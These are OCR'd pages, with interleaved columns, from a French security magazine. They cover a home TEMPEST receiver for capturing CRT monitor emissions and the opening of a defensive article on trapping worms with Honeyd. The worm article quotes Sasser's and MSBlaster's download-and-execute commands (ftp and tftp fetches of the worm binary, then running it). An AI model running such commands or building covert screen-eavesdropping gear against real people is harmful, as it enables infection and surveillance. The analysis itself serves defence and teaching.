lement vrai : une onde électroma- tromagnétique correspondante lignes). En fait, pour de meilleurs
gnétique rencontrant un matériau (proportionnelle aux différences de résultats, il est bon de laisser une
conducteur produira une différence potentiels). Un motif vertical a été marge et de mettre la fréquence de
de potentiel proportionnelle à la utilisée pour plus de clarté (toutes filtrage légèrement inférieure à la fré-
force de l'onde. C'est globalement les lignes sont codées de la même quence d'un seul pixel.
comme ça que marchent les récep- manière). Pour un écran de résolution
teurs radio GO : plus l'onde est forte, Ce motif a pour but de compren- 800*600 à un taux de rafraîchis-
plus le signal reçu est important. dre quel genre de signal nous allons sement de 70 Hz, la fréquence
Pour qu'un champ électroma- étudier. Commençons maintenant critique serait de 800*600*70=33.6
gnétique soit créé, il doit y avoir la partie pratique de notre jeu de Mhz. Un filtre passe-haut est com-
des différences de potentiels : détective. posé d'une résistance et d'un con-
un voltage constant ne produira densateur, assemblé comme sur la
aucune onde radio. De la même L'antenne Figure 7 :
manière, aucun signal ne peut être Une antenne peut être un simple
reçu si le champ magnétique est câble conducteur ; cela sera suffi- • C1 – le condensateur,
statique (c'est pour ça que les dy- sant si on veut faire l'expérience du • R1 – la résistance,
namos doivent constamment être
en mouvement pour produire de
l'électricité).

Application
aux moniteurs CRT
Avant d'être projeté sous la forme
d'un flux d'électrons, le signal vidéo
est amplifié à un voltage élevé.
Cette amplification génère de fortes
ondes électromagnétiques, qui, si
le moniteur n'est pas protégé suf-
fisamment électromagnétiquement,
peuvent être capturées jusqu'à une Figure 7. Schéma d'un filtre passe-haut

hakin9 N o 3/2005 www.hakin9.org 43


Figure 8. Amplificateur opérationnel : un montage inverseur

• Ue, Us – entrée et sortie respec- pouvez utiliser n'importe quelle autre • R2, R3 – résistances,
tivement, combinaison de résistances et con- • OA – amplificateur opérationnel,
• Y1 pour le signal résultant. densateurs, tant que le produit reste • V+, V- – alimentation de l'AO,
constant. • Ue, Us – entrée et sortie,
La fréquence critique du système • Y1 – signal résultant.
est déterminée par fc=1/(2*π*R*C), Amplification
avec fc la fréquence critique (fré- Le signal filtré a un potentiel très Il est appelé inverseur et c'est le plus
quence en dessous de laquelle le bas (quelques mV). Pour exploiter simple circuit d'amplification à mon-
filtre coupera tout signal), R pour la le signal nous devons l'amplifi er ter (mais voir également l'Encadré
valeur de la résistance et C pour la (c'est-à-dire multiplier le voltage Les choses à se rappeler lorsqu'on
capacité du condensateur. par un facteur constant) à un ni- amplifie le signal). La valeur des
Nous pourrions configurer le sys- veau acceptable. Comme vu plus deux résistances déterminera le
tème pour disons une fréquence de haut, le signal vidéo est compris
1.6 MHz (donc toutes les fréquences entre 0 V et 0.7 V. Pour arriver
inférieurs a 1.6 MHz sont éliminées), à ça nous allons utiliser un amplifi - Les choses à se rappe-
ce qui nous conduit à 1.6*106 =1/ cateur opérationnel (AO, voir aussi ler lorsqu'on amplifie le
(2*π*R*C). De cette manière R*C=1/ l'Encadré Sur le réseau), qui est un
signal
(2*π*1.6*106)=10 -7. composant électronique trouvable Nous devons garder certaines choses
Cette fréquence a été choisie car pour une dizaine d'euros. en tête. D'abord, il est pratique de
elle laisse une bonne marge, et les Comme nous traitons des hau- choisir une résistance R3 variable, de
condensateurs et résistances pour tes fréquences (MHz), nous devons cette manière nous pouvons choisir le
cette fréquence sont faciles à trou- faire attention en choisissant cet coefficient même quand le circuit est
ver. Pour arriver à ce produit, nous amplificateur opérationnel : les AO assemblé. Plus important, l'AO doit être
pourrions choisir un condensateur classiques ne peuvent pas traiter de alimenté ! C'est quelque chose auquel
de 1 nF (1 nano Farad, équivalent telles fréquences. Au magasin, vous il faut porter attention lorsqu'on choisit
à 10 -9 Farad) et une résistance de devez donc demander un amplifica- l'AO, car ils n'ont pas tous les mêmes
besoins en terme d'alimentation. Géné-
100 Ω (100 Ohms). teur opérationnel vidéo. Le modèle
ralement c'est autour de 12 V ou 15 V.
On arrive à 10 -9*102 =10 -7, donc AD844AN est un exemple, cepen-
Il faut également s'assurer de savoir
nous avons notre produit, et le sys- dant il n'est pas forcément disponible monter un AO avant de l'assembler.
tème est configuré pour la fréquence dans tous les pays. Il faut regarder
Attaque

Différents documents sont disponibles


critique de 1.6 MHz. Bien sur vous les catalogues des différents fournis- sur Internet à ce sujet (voir l'Encadré
seurs d'électronique. Sur le réseau). Dernier point, le circuit
Un AO a beaucoup d'applica- est appelé inverseur car il inverse la
tions ; mais nous voulons juste am- sortie (c'est pour ça que k est négatif).
plifier notre signal en ce moment. Avec les ondes électromagnétiques
Pour y arriver, référons nous au ce n'est pas un problème, car chaque
Figure 9. Une diode, telle que circuit montré en Figure 8. Il est com- signal possède une partie négative
et une partie positive.
représentée dans les circuits posé d'un AO et 2 résistances :
électroniques

44 www.hakin9.org hakin9 N o 3/2005


Émissions compromettantes

Figure 10. SUB-D HD Connector Figure 11. SCART – Schéma de connectivité Péritel

Figure 12. Le circuit convertisseur de synchronisation de Tomi Engdahl's

hakin9 N o 3/2005 www.hakin9.org 45


Assemblage du système
Notre circuit électronique est constitué de 4 blocs (voir la Figure 14) :
• une antenne (A) qui recevra le signal,
• un filtre passe-haut (C1,R1) pour couper les fréquences inférieures à la fréquence
critique que nous avons définie,
• une amplificateur (OA,R2,R3,V+/V-) qui amplifie le signal filtré afin de le visualiser
sur un écran CRT standard,
• une diode pour couper les parties négatives (qui ne peuvent pas être exploitées
par un écran standard) et finalement une sortie pour avoir le signal vidéo sur
l'écran.

Parallèlement, on envoie des signaux de synchronisation. Ils peuvent être générés par
deux générateurs basse fréquences ou directement par une carte vidéo.
Pour visualiser les informations sur un écran TV, le circuit de conversion des si-
gnaux de synchronisation de Tomi Engdahl peut être utilisé (Figure 12). Comme nous
n’avons pas vraiment besoin de ce dispositif, une description est disponible à cette
adresse : http://www.hut.fi /Misc/Electronics/circuits/vga2tv/vga2palntsc.html.

Les composants
En pratique, on peut utiliser une multiplaque (Figure 13 ; 1) pour construire le circuit.
C'est une planche avec une grille de trous liés par des lignes de cuivre, donc vous
n'avez pas besoin de faire votre propre circuit imprimé – il est déjà prêt à l'emploi. Ce
genre de planche est disponible dans n'importe quelle boutique d'électronique.
Une résistance et une diode sont montrées sur la Figure 13 (respectivement 2, 3).
Pour les condensateurs, il y en a plusieurs genres disponibles, mais ça revient au mê-
me (Figure 13 ; 4, 5, 6). Enfin, l'amplificateur opérationnel (Figure 13 ; 7) est nécessaire
– pour l'instant nous n'avons pas besoin de plus d'explication, mais vous pouvez vous
référer à la page de Harry Lythall's pour les détails (http://web.telia.com/~u85920178/
begin/opamp00.htm). Tous ces composants sont disponibles pour quelques euros
chacun.

L'assemblage
Pour assembler le circuit complet, vous aurez besoin d'un fer à souder (même un mo-
dèle simple sera suffisant) et du fil d'étain pour souder les composants électroniques
Figure 13. Éléments utilisés dans à la multiplaque.
l'assemblage du circuit TEMPEST : Insérez chaque composant électronique au dos de la multiplaque (c'est-à-dire, le
1 – une multiplaque ; 2 – une coté sans cuivre) de manière à ce que les pattes apparaissent de l'autre coté. Appli-
résistance ; 3 – une diode ; 4, 5, 6 quez alors l'étain sur le cuivre avec le fer à souder – une goutte d'étain viendra souder
– condensateurs ; 7 – amplificateur la patte du composant électronique au cuivre.
Utilisez les circuits de cuivre comme vous le sentez, tant que vous respectez
opérationnel
les connections comme montré sur le schéma du circuit TEMPEST (Figure 14).
coefficient d'amplification par la Vous pouvez lier deux lignes de cuivres en soudant un câble électrique d'une ligne
formule suivante : k = - R3/R2. Pour à l'autre.
amplifier une centaine de fois, on
peut choisir par exemple R2=1 Ω
et R3=100 Ω. de ces problèmes dépend du ma- de 70 Hz, 70 impulsions par secon-
tériel utilisé. L'étape finale inclut les des doivent être générées pour le
Couper la composante signaux de synchronisation et un premier canal, et 600*70=42000
négative périphérique d'affichage. impulsions par secondes doivent
C'est la partie la plus facile : elle con- être générées pour le second ca-
siste juste à rajouter une diode pour Les signaux de nal.
Attaque

couper la partie négative du signal synchronisation Si on ne dispose pas de géné-


(votre périphérique d'affichage aura Ces signaux peuvent être générés rateur de fréquence, on peut alors
quelques difficultés à reproduire des en utilisant des générateurs de utiliser une astuce simple : dériver la
couleurs négatives). Le schéma est fréquence. Il faut générer des im- voie de synchronisation d’une sortie
montré sur la Figure 9. pulsions de quelques volts pour la vidéo d’un ordinateur (voir Figure 10).
synchronisation verticale (chaque Il suffira de régler au préalable l’or-
Restituer l'affichage ligne). C'est-à-dire, pour un écran dinateur sur le taux de rafraîchisse-
Il reste deux choses pour avoir un d'une résolution de 800*600 avec ment voulu (dans notre exemple,
système fonctionnel – la résolution une fréquence de rafraîchissement 800*600, 70 Hz). Pour connecter

46 www.hakin9.org hakin9 N o 3/2005


Émissions compromettantes

Figure 14. Système TEMPEST de Robin Lobel


l'écran test au port de sortie vidéo, écran télé, on se référera au schéma • R1,R2,R3 – résistance,
nous pouvons disséquer un vieux ca- du connecteur SCART comme mon- • OA – amplificateur opérationnel,
ble vidéo ou acheter un connecteur tré sur la Figure 11 : • V+/V- – alimentation de l'AO,
SUB-D 15/HD 15 (aussi connu com- • 1,2,3 – canaux de couleur,
me connecteur VGA 15 broches). • 5 – masse du bleu, • 4,5 – canaux de synchronisation,
Regardons la Figure 10 et les • 7 – bleu, • Sync – générateur de signaux de
signaux correspondants : • 9 – masse du vert, synchronisation.
• 11 – vert,
• 1 – rouge, • 13 – masse du rouge, Et ça marche ?
• 2 – vert, • 15 – rouge. Nous savons maintenant comment
• 3 – bleu, construire un système TEMPEST
• 6 – masse du rouge, L'utilisation d'un poste télé pose un – on est donc en mesure de construi-
• 7 – masse du vert, peu plus de problèmes. Convertir re son propre système d’interception
• 8 – masse du bleu, les signaux de synchronisation est d’ondes EM. Cependant, ne vous
• 11 – masse, assez dur. Heureusement, en 1996 attendez pas à un succès immédiat
• 13 – synchronisation horizontale, Tomi Engdahl a réalisé un circuit qui lors de vos premiers essais. C’est
• 14 – synchronisation verticale. converti les standards VGA en stan- un système très délicat qui demande
dards TV. Le principe est expliqué ici à être finement réglé afin de bien
Notez bien : il faut rester très vigilant sur la Figure 12. fonctionner, et il serait judicieux
en travaillant sur le port de sortie Comme on peut le voir, cela reste d’avoir un oscilloscope à portée de
vidéo. La moindre erreur peut être relativement facile si vous possédez main pendant les essais.
fatale à la carte vidéo. un écran d’ordinateur. Mais nous Les résultats sont aussi forte-
devons veiller à rester vigilant ! Ces ment dépendants de l’environnement
Le périphérique d'affichage appareils sont très sensibles. Il est et des conditions dans lesquelles
Pour visualiser les informations dé- donc recommandé d’utiliser un os- se déroulent les expériences. Les
tournées, on peut utiliser au choix un cilloscope pour contrôler durant les émissions électromagnétiques des
écran de télévision ou d’ordinateur, manipulations. moniteurs CRT varient d’un écran
bien qu’un écran d’ordinateur soit C’est à peu prés tout (voir l'Enca- à l’autre, donc même avec un dis-
préférable car l’écran de télévision ne dré Assemblage du système pour les positif bien réglé, les résultats varie-
supportera pas toutes les résolutions, détails de la constructions). ront. Notre système est un montage
contrairement à celui d’ordinateur (jus- Pour résumer, le système TEM- artisanal, relativement bon marché
qu'à certaines limites bien entendu). PEST complet peut être vu sur la et simple. Les systèmes TEMPEST
Pour ce qui est de la connectivité Figure 14. Pour clarifier : industriels sont chers et durs à ac-
avec l’écran d’ordinateur, il faut se quérir, notamment à cause la classi-
référer au schéma du connecteur • A – antenne, fication de ces informations pendant
SUB-D HD (Figure 10). Pour un • C1 – condensateur, un long moment. n

hakin9 N o 3/2005 www.hakin9.org 47


Honeypots – leurre
contre les vers
Michał Piotrowski

Les vers de réseaux se propagent


très rapidement – afin de pouvoir
se défendre efficacement, il faut
avoir leur code et l'analyser. Les
systèmes honeypots permettent
non seulement de capturer
un ver, mais aussi d'observer
ses actions et de le supprimer
automatiquement des machines
infectées.

E
n dépit de toutes ses qualités, l'usage de systèmes, après un temps donné ou à la
universel des techniques Internet dans commande de l'intrus – commence une atta-
les affaires peut s'avérer dangereux que DoS sur une cible déterminée, ce qui, vu
pour les données traitées. Parmi les dangers la grande quantité d'instances du virus, peut
qui menacent nos systèmes informatiques figu- rendre impossible le travail des systèmes
rent les virus et les vers de réseau dont le but et des réseaux de la victime.
principal est de se multiplier et de se propager D'après les recherches effectuées au
– c'est-à-dire attaquer et contaminer le plus début 2004 par la société Sandvine, les con-
grand nombre d'ordinateurs possible. La stra- nexions générées par les vers constituent de
tégie de leur fonctionnement est très simple : 2% jusqu'à 12% de tout le trafi c réseau sur
trouver et prendre le contrôle d'un système vul- Internet. Rien qu’aux États Unis, une telle
nérable, et ensuite, à l'aide de celui-ci, scanner exploitation de la bande passante coûte aux
le réseau et attaquer d'autres machines.
Chaque machine contrôlée par ce pro-
gramme malicieux devient à son tour un Cet article explique...
agresseur prêt à s'attaquer tant à un ordina-
• comment, à l'aide des honeypots, intercepter les
teur personnel qu'aux systèmes d'une grande
vers de réseau,
entreprise ou d'une institution d'état. De plus,
Défense

• comment exploiter les machines virtuelles pour


chaque virus ou ver, en plus de ses fonctions
guérir les ordinateurs infectés.
de multiplication, peut être doté de fonctions
de destruction pouvant abîmer les données
dans les systèmes attaqués, et même le
Ce qu'il faut savoir...
matériel informatique. Il arrive que les vers • le système Linux et Windows,
de réseau soient créés et utilisés par les • le langage de script Bash,
crakers pour effectuer des attaques DDoS • au moins les notions de base des protocoles
contrôlées. Les programmes de ce type réseau.
– après la contamination d'un nombre donné

48 www.hakin9.org hakin9 N o 3/2005


Honeypots – leurre contre les vers

fournisseurs de services Internet


Classification des honeypots environ 245 000 000 de dollars
Suivant la classifi cation générale, les honeypots – c'est-à-dire, les leurres si- par an. C'est une somme vraiment
mulant le fonctionnement d'un système réel – peuvent être divisés en systèmes impressionnante. Selon les estima-
à faible (en anglais low-interaction) et à forte interaction (en anglais high-inte- tions de la société Trend Micro (l'un
raction). Le terme niveau d'interaction définit le type d'actions qui peuvent être des plus grands éditeurs de pro-
effectuées par l'intrus dans le système, et de cela, il définit le nombre et la qualité
grammes anti-virus) en 2003, les
des informations pouvant être stockées à l'aide du piège, la dépense de travail
pertes causées par les attaques
nécessaire pour l'installer et le niveau de danger lié à l'interception éventuelle du
des programmes malicieux dans le
honeypot par l'assaillant.
Les honeypots à faible interaction, le plus souvent ne sont pas des systèmes de monde entier représentaient envi-
pleine valeur, mais des programmes qui émulent les services ou les systèmes. Cela ron 55 000 000 000 de dollars.
signifie que le pirate qui se connecte à un tel ordinateur peut établir la connexion Analysons donc les façons de
avec le port TCP voulu (par exemple avec le service FTP), obtenir le message ap- lutter contre les vers à l'aide des
proprié informant sur le type et la version du faux serveur et y envoyer les données. honeypots (les machines virtuelles
Parfois, il peut ouvrir une session anonyme, exécuter certaines commandes, voire – leurres ; cf. l'Encadré Classifi -
consulter le système de fichiers virtuel souhaité. Mais il ne sera jamais capable de cation des honeypots). Prenons
faire plus que le honeypot ne le permet, par exemple, il n'aura jamais accès au shell comme exemples deux programmes
système.
malicieux, très connus depuis quel-
En cela, les systèmes à faible interaction sont faciles à installer, maintenir
ques temps – MSBlaster et Sasser
et exploiter. Ils sont aussi difficiles à intercepter par un pirate parce qu'ils n'offrent
(cf. l'Encadré Quelques attaques
pas de services réels. Malheureusement, ils ont deux grands défauts : les infor-
mations sur l'attaque provenant de ces honeypots sont assez limitées et il est très célèbres des vers de réseau). Tout
facile de les détecter par un intrus expérimenté. Mais utilisés de façon appropriée d'abord, nous essayerons d'obtenir
ils peuvent s'avérer fort utiles, surtout dans la lutte contre les vers et les virus qui un fichier exécutable contenant leur
effectuent des attaques automatiques, selon un algorithme déterminé. code, et ensuite, nous nettoierons
automatiquement les machines in-
fectées. Ces méthodes et program-
mes sont exploités par les éditeurs
Quelques attaques célèbres des vers des programmes anti-virus et les
de réseau spécialistes qui s'occupent de l'ana-
lyse du code des vers et des virus.
CodeRed
Le ver CodeRed qui est apparu pour la première fois en juillet 2001, a contaminé plus Tous les exemples sont basés sur la
de 250 000 ordinateurs pendant les premières 8 heures du fonctionnement. distribution Gentoo Linux et le pro-
gramme Honeyd version 0.8b.
MSBlaster
Le ver MSBlaster, connu aussi comme Lovsan ou Blaster, a débuté sur Internet le Mode de
11 août 2003 et pendant à peine 24 heures, il a infecté environ 200 000 ordinateurs
possédant le système d'exploitation Windows 2000 et XP. La vitesse maximale de la
fonctionnement des
propagation de ce ver était de 68 000 contaminations par heure. De nouveaux cas vers de réseau
d'infections se produisent jusqu'à maintenant, et le nombre de tous les systèmes con-
taminés par MSBlaster est estimé à environ 450 000. Pour lutter efficacement contre les
vers informatiques, il faut savoir
MyDoom comment ils fonctionnent et quels
En février 2004, le ver portant le nom MyDoom a attaqué les serveurs de la société
mécanismes ils utilisent. Bien que
SCO Group. Ils étaient inaccessibles pendant environ 7 jours, et SCO offrait 250 000 $
nous ne nous occupions que de deux
à toute personne aidant à retrouver le ou les créateurs du ver. MyDoom a été considéré
le ver le plus dangereux et le plus rapide dans l'histoire. Selon certains FAI, les lettres
parasites, il ne faut pas oublier que le
envoyées par ce parasite constituaient environ 30% de tout le courrier électronique mode de fonctionnement de tous les
envoyé lors de sa propagation maximale. vers est similaire et se compose de
trois étapes :
Sasser
Le 30 avril 2004, le ver appelé Sasser est apparu. Avec ses variantes successives
• l'infection (en anglais infection),
qui apparaissaient dans les premiers jours du mois de mai, il a infecté 1% de tous
• la propagation (en anglais propa-
les ordinateurs dans le monde entier, c'est-à-dire environ 6 000 000 de postes.
Il a causé de dommages importants dans plusieurs entreprises, tant internationa- gation),
les que locales, et parmi les utilisateurs privés. Les informations sur l'attaque sont • la charge finale (en anglais pay-
parues dans la presse et à la télévision. Plusieurs entreprises et institutions ont dé- load).
cidé de débrancher leurs systèmes informatiques dans la crainte d'une attaque de
Sasser qui, de même que MSBlaster, s'attaquait aux systèmes Microsoft Windows Les Figures 1 et 2 illustrent les pha-
2000 et XP. ses successives du fonctionnement
des vers.

hakin9 N o 3/2005 www.hakin9.org 49


Infection
L'infection est une étape pendant
laquelle le ver prend le contrôle du
système vulnérable. Pour ce faire,
MSBlaster exploite l'erreur de dé-
passement de tampon dans le sous-
système d'appels de procédures
distantes (en anglais Remote Proce-
dure Call) du système Windows avec
les programmes Distributed Compo-
nent Object Model (DCOM) installés.
L'exploitation efficace de cette faille
permet d'exécuter des commandes
quelconques sur l'ordinateur attaqué.
MSBlaster, en choisissant de façon
aléatoire des adresses IP, recherche
les ordinateurs vulnérables et s'atta-
que au service RPC (écoutant le port
135 TCP).
Figure 1. Phases successives du fonctionnement du ver Blaster Sasser fonctionne de façon si-
milaire, mais il s'attaque au service
LSASS (en anglais Local Security
Authority Subsystem Service) écou-
tant le port 445 TCP. Exploitant
l'erreur de débordement de tam-
pon, Sasser contraint le système
attaqué à exécuter les commandes
envoyées.
Il faut prêter attention au fait que
dans le cas des vers dont nous par-
lons, le processus de contamination
se fait automatiquement. Aucune
coopération de la part de l'utilisateur
du système n'est exigée. Il suffit que
l'ordinateur avec le service vulnéra-
ble soit accessible et accepte les
connexions réseau.

Propagation
Le processus de propagation est une
Figure 2. Phases du fonctionnement du ver Sasser phase du transfert du ver à partir de
l'ordinateur infecté vers les systèmes
Listing 1. Les commandes exécutées par Sasser dans le système attaqués. Le plus souvent, elle con-
infecté siste à distribuer des copies du ver
dans les pièces jointes du courrier
echo off électronique ou à exploiter les vulné-
echo open <IP_du_système_source> 5554>>cmd.ftp
rabilités des services.
echo anonymous>>cmd.ftp
Après l'attaque sur un ordina-
Défense

echo user>>cmd.ftp
echo bin>>cmd.ftp teur vulnérable, MSBlaster lance le
echo get <numéro>_up.exe>>cmd.ftp processus de shell écoutant le port
echo bye>>cmd.ftp 4444 TCP. En même temps, dans
echo on
le système source, il démarre le
ftp -s:cmd.ftp
<numéro>_up.exe
serveur TFTP et, tout en se connec-
echo off tant au shell de l'ordinateur attaqué,
del cmd.ftp il exécute les commandes qui char-
echo on gent le programme du ver à partir
du système origine et le lancent

50 www.hakin9.org hakin9 N o 3/2005


Honeypots – leurre contre les vers

Charge d'un ver


Honeyd La charge d'un ver est une action
Le programme Honeyd, créé et développé par Niels Provos, sert à construire des optionnelle, non liée au processus
systèmes à faible interaction autant très simples que très complexes. Son avantage d'infection et de propagation, exé-
principal est la possibilité d'émuler un réseau informatique entier, composé de diffé- cutée par le ver dans le système
rents systèmes d'exploitation virtuels qui sont capables de fournir des services fictifs contaminé. Dans la plupart des
voulus. cas, elle a un caractère destructif
Le principe du fonctionnement du programme Honeyd est très simple : au moment et peut entraîner la suppression ou
où l'intrus essaie de se connecter à l'adresse IP qui est affectée au système émulé,
la modifi cation des fi chiers, le for-
Honeyd se fait passer pour ce système et commence la communication avec l'ordina-
matage des disques durs ou l'exé-
teur de l'intrus. Évidemment, l'environnement réseau sur lequel il est utilisé doit être
cution de l'attaque DoS sur des
configuré de façon à ce que les paquets IP ayant les adresses cibles déterminées
parviennent au système-piège. Nous pouvons le faire en configurant les chemins de ressources Internet déterminées.
traçage appropriés sur le routeur. Il est aussi possible d'appliquer la technique ARP Les vols des mots de passe de dif-
Spoofing permettant de falsifier les réponses aux requêtes ARP et de se faire passer férentes ressources, par exemple
pour un autre ordinateur, même inexistant. de comptes du courrier électroni-
Une autre caractéristique très importante du programme Honeyd est la possi- que, ne sont pas rares non plus.
bilité de profiler les ordinateurs virtuels conformément à la base de signatures du MSBlaster lance les attaques
programme Nmap et configurer les services émulés de façon très souple. Honeyd, DoS sur le site Web de Microsoft
une fois que la connexion entre l'ordinateur de l'intrus et la machine virtuelle est éta- – http://www.windowsupdate.com
blie, peut transmettre la communication à un programme quelconque ou un script
un jour précis du mois, par contre
extérieur qui, à partir de ce moment, recevra et enverra les données au système de
Sasser redémarre le système d'ex-
l'intrus. De plus, la connexion peut être transmise à un serveur réel fournissant un
ploitation.
service déterminé, et même à l'ordinateur de l'attaquant (à partir de l'adresse source
chargée des paquets IP provenant de ce dernier).
Construction
d'un faux réseau
(le fichier exécutable portant le nom à l'aide d'un exploit, il lance le Le piège que nous utiliserons pour
msblast.exe) : shell attendant la connexion sur le capturer et supprimer les vers est
port TCP 9996. Ensuite, dans le un système à faible interaction (cf.
tftp <IP_du_système_source> § système source, Sasser démarre l'Encadré Classifi cation des honey-
GET msblast.exe le serveur FTP écoutant le port pots), basé sur Linux et le program-
start msblast.exe 5554 et envoie les commandes me Honeyd (cf. l'Encadré Honeyd).
à la machine cible (cf. le Listing 1). Mais avant de passer à la cons-
Ensuite, le programme lancé com- Ces commandes ont pour le but de truction de notre propre honeypot,
mence le processus de contami- charger et lancer le fichier exécuta- il faut prendre connaissance des
nation. ble du ver (le fichier s'appelle <nu- possibilités de ce programme. En-
La propagation du ver Sasser est méro>_up.exe, où <numéro> est un visageons le réseau présenté sur la
similaire : dans l'ordinateur attaqué, nombre aléatoire). Figure 3 (pour le construire, il faut
confi gurer Honeyd de la façon pré-
sentée sur le Listing 2).
Configuration du comportement des protocoles La compilation de Honeyd ne
TCP, UDP et ICMP dans Honeyd diffère pas des standards admis.
Tout d'abord, il faut décompresser
Le protocole TCP :
les archives contenant le code
• open – établir la connexion (comportement standard),
source :
• block – négliger le paquet, ne pas envoyer la réponse,
• reset – répondre par le paquet RST,
• tarpit – retarder la connexion (sert à ralentir la communication et peut occuper $ tar zxf honeyd-0.8b.tar.gz
les ressources de l'ordinateur de l'attaquant).
Ensuite, nous compilons et installons
Le protocole UDP : le programme (pour que la compila-
• open – répondre, tion réussisse, nous avons besoin
• block – ne pas répondre,
des bibliothèques libevent, libdnet
• reset – répondre par le paquet ICMP Port unreachable (comportement stan-
et libpcap) :
dard).

Le protocole ICMP : $ cd honeyd-0.8b


• open – répondre par le paquet ICMP approprié, honeyd-0.8b$ ./configure
• block – négliger le paquet et ne pas répondre (comportement standard). honeyd-0.8b$ make
honeyd-0.8b# make install

hakin9 N o 3/2005 www.hakin9.org 51


Configuration du comportement des
protocoles TCP, UDP et ICMP dans
Honeyd). Dans notre exemple, nous
avons choisi l'action reset. Cela
signifie que Honeyd, en réponse
au paquet établissant la connexion
TCP, enverra un paquet qui termine
la communication (RST), par con-
tre, dans le cas du protocole UDP,
il enverra le paquet ICMP informant
que le port est inaccessible. C'est
le comportement typique des ports
fermés sur lesquels aucun service
n'écoute.
L'inscription dans la ligne 15
entraîne le système Windows à ne
pas répondre aux paquets ICMP,
y compris les requêtes ICMP Echo
Request. La ligne 6 dans le profil
Figure 3. L'exemple d'un réseau construit à l'aide du programme Honeyd linux permet de se connecter au
port TCP 25 qui paraît être un port
Les systèmes virtuels créés par le Ensuite, il est possible de dé- ouvert. Pourtant, aucune communi-
programme Honeyd sont les profi ls terminer quels ports TCP et UDP cation via ce port ne sera possible.
des ordinateurs. Ces profi ls possè- seront ouverts et quels services L'inscription dans le profil windows, la
dent ses caractéristiques, comme seront émulés. Les lignes 3 et 4 dé- ligne 17 provoque un blocage du port
type de système d'exploitation, finissent le comportement par défaut TCP portant le numéro 25 et tous les
ports ouverts ou comportement de Honeyd au moment où il reçoit paquets y étant destinés seront né-
des services émulés. Dans notre un paquet TCP ou UDP adressé au gligés. Ce comportement a souvent
exemple, il existe trois profi ls : système linux sur le port ayant un lieu quand le trafic réseau est filtré
linux, décrit dans les lignes de comportement indéfini (cf. l'Encadré par un pare-feu.
1 à 6, freebsd entre les lignes 8
à 11, et windows, à partir de la ligne Listing 2. Le fichier de configuration config1 du programme Honeyd
13 jusqu'à 19. Dans les lignes 21, pour le réseau présenté sur la Figure 3
22 et 23, les profi ls sont associés
respectivement aux adresses 1: create linux
2: set linux personality "Linux Kernel 2.4.0 - 2.5.20"
10.0.0.10, 10.0.0.11 et 10.0.0.12.
3: set linux default tcp action reset
En résultat, quand Honeyd reçoit 4: set linux default udp action reset
un paquet dirigé à l'une de ces 5: add linux tcp port 80 proxy www.google.com:80
adresses, il utilisera le profi l asso- 6: add linux tcp port 25 open
cié et répondra conformément à sa 7:
8: create freebsd
confi guration.
9: set freebsd personality "FreeBSD 2.2.1-STABLE"
Chaque profil possède les para- 10: add freebsd tcp port 80 §
mètres de configuration permettant "sh /usr/local/share/honeyd/scripts/apache-web.sh"
de déterminer comment le système 11: add freebsd tcp port 22 §
se comportera. Sur le Listing 2, vous "sh /usr/local/share/honeyd/scripts/test.sh $ipsrc $dport"
12:
pouvez observer que les lignes 2, 9
13: create windows
et 14 déterminent le type de système 14: set windows personality "Microsoft Windows NT 4.0 Server SP5-SP6"
d'exploitation des ordinateurs virtuels
Défense

15: set windows default icmp action block


par la définition du comportement 16: add windows tcp port 80 §
de leur pile TCP/IP (conformément "perl /usr/local/share/honeyd/scripts/iis/main.pl"
17: add windows tcp port 25 block
à la base de caractéristiques du pro-
18: add windows tcp port 23 proxy $ipsrc:23
gramme Nmap). En effet, si l'intrus 19: set windows uptime 1638112
scanne le réseau 10.0.0.0 à l'aide 20:
de ce programme, il trouvera quatre 21: bind 10.0.0.10 linux
machines : système honeypot, Linux 22: bind 10.0.0.11 freebsd
23: bind 10.0.0.12 windows
2.4 – 2.5, FreeBSD version 2.2.1
et Windows NT 4.0.

52 www.hakin9.org hakin9 N o 3/2005


Honeypots – leurre contre les vers

est choisi de façon aléatoire parmi


Listing 3. Le script test.sh enregistrant les actions sur le port 22 du 0 – 20 jours.
honeypot Quand le fichier de configuration
#!/bin/sh
et tous les scripts sont déjà prêts,
DATE=`date` nous lançons le programme Honeyd
echo "$DATE: Connection started from $1 port $2" \ de la manière suivante :
>> /usr/local/share/honeyd/logs/test.log
echo SSH-1.5-2.40
# honeyd -d -u 0 -g 0 \
while read line
-f config1 10.0.0.10-10.0.0.12
do
echo "User input: $line" >> /usr/local/share/honeyd/logs/test.log
echo "$line" Grâce au paramètre -d , le pro-
done gramme ne passe pas en mode
tâche de fond et tous les journaux
Les lignes 10, 11 et 16 com- 23 de l'ordinateur d'où ils provien- sont affi chés sur la sortie standard.
prennent la confi guration des ser- nent. En résultat, l'intrus tentera Ainsi, dans la phase de tests nous
vices liés aux ports 22 et 80 des d'établir une connexion avec son pouvons observer ce qui se passe,
systèmes spécifi ques. Dans le cas propre système. quelles connexions sont établies
du profil freebsd , après l'établisse- Une autre fonction du program- avec nos machines virtuelles et s'il
ment de la connexion à ces ports, me Honeyd très utile, exploitée n'y a pas d'erreurs éventuelles. Évi-
le programme Honeyd transmet la dans cet exemple, est la possibilité demment, quand le programme est
communication aux scripts du shell de confi gurer la valeur du temps déjà testé, il vaut mieux le lancer en
apache-web.sh (port 80) et test.sh utilisable (uptime) du système mode de tâche de fond avec les pa-
(port 22) qui seront responsables virtuel, c'est-à-dire le temps de ramètres -l et -s (ils répondent de
de la reception, de l'enregistrement fonctionnement depuis le dernier l'enregistrement des évènements)
et de l'interprétation des données lancement. La ligne 19 confi gure le pour diriger les journaux aux fi -
provenant de l'intrus et de l'envoi temps du travail du profilé windows chiers appropriés (p. ex. dans le
des données vers celui-ci. Le script à 1638112 secondes, ce qui donne répertoire /usr/local/share/honeyd/
test.sh, présenté à titre d'exemple environ 18 jours. Si le profil ne con- logs/ ). Dans la phase de tests,
dans le Listing 3, émule d'une fa- tient pas de d'inscription avec le nous pouvons aussi lancer Honeyd
çon très simple le serveur SSH et temps de fonctionnement, celui-ci avec les droits d'administrateur (les
enregistre dans le fi chier /usr/local/
share/honeyd/logs/test.log toutes
les informations reçues. Le script
apache-web.sh est beaucoup plus
développé et émule le serveur
HTTP Apache. Par contre, dans le
cas du profil windows, le port TCP 80
sera géré par le script Perl appelé
main.pl qui se comporte comme un
serveur IIS 5.0. Tous les scripts (et
plusieurs autres) sont disponibles
sur le site du programme Honeyd.
Une fonction très intéressante
offerte par Honeyd est la possibilité
de rediriger les connexions. Elle a
été appliquée aux lignes 5 et 18
dans le fichier confi g1. La première
permet de transférer les paquets
envoyés sur le port TCP 80 de l'or-
dinateur ayant le profilé linux vers
